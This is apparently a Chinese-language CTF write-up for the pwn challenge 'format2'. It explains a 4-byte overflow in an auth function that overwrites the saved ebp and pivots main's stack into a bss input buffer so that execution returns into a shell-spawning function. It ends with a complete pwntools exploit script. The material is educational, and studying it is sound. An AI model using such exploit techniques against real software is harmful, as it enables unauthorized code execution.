format2(整数地址空间溢出)
本题需要细心
首先,检测一下程序保护机制
虽然说开启了CANARY,但是关键的几个函数没有开启这个机制,这道题因为libc库静态链接到文件里,所以才造成这种干扰。
我们用IDA分析一下
后门函数
溢出点在这,memcpy传入的是v4的地址,而v4是int,最多也就8字节,因此这里可以溢出
程序的流程是将我们输入的字符串进行BASE64解密后,再调用auth函数验证,成功就执行shell。但是auth函数存在溢出漏洞
我们再看看auth的汇编代码
auth的函数的栈布局是这样的
0x4字节(esp) | 栈顶 |
……….. | |
0x8字节(ebp-0x8) | 存储着v4的值 |
0x4字节(ebp) | (栈底) 存储着上一个函数(main)的ebp |
0x4字节(ebp + 0x4) | auth的返回地址 |
并且主函数里做了判断,base64解密后的长度不能大于12,
也就是说,我们的payload长度最长为12,我们可以溢出v4 到后面4个字节,也就是会覆盖auth的ebp的内容
我们知道,main进入auth函数时,是这样的
- push ebp
- mov esp,ebp
- sub esp,0x28
而退出auth函数时,即执行leave指令时,是这样的
- mov esp,ebp
- pop ebp
也就是说,auth的ebp存的内容为main的ebp
当退出auth函数时,ebp被复原为main函数的ebp,了解更多请学习汇编
那么,如果我们溢出,把auth的ebp处写为input的地址会怎么样?
为了便于分析,我们的input存入如下内容aaaabbbbcccc
那么auth依然正常退出到main,但是main的ebp变成了cccc当main要退出时,执行leave指令mov esp,ebp
esp变成了cccc,那么pop ebp就使得ebp = [cccc],
接下来,retn 即执行call [cccc+ 4]
因此,我们把bbbb改成我们的getshell的地址,把cccc改成input_addr,那么我们就能get shell。
综上,我们的exp脚本如下
- #coding:utf8
- from pwn import *
- import base64
- context.log_level = 'debug'
- sh = process('./pwnh19')
- #sh = remote('111.198.29.45',49124)
- elf = ELF('./pwnh19')
- #bss段的input区域
- input_addr = elf.sym['input']
- getshell_addr = elf.sym['correct'] + 0x19
- sh.recvuntil('Authenticate :')
- #覆盖auth函数的ebp内容,也就是修改了上一个函数的ebp,使得上一个函数(main)的ebp指向了input_addr
- #那么,当main函数leave时,有
- #mov esp,ebp ;esp = input_addr
- #pop ebp ;ebp = aaaa
- #retn ; call getshell_addr
- payload = 'a'*4 + p32(getshell_addr) + p32(input_addr)
- sh.sendline(base64.b64encode(payload))
- sh.interactive()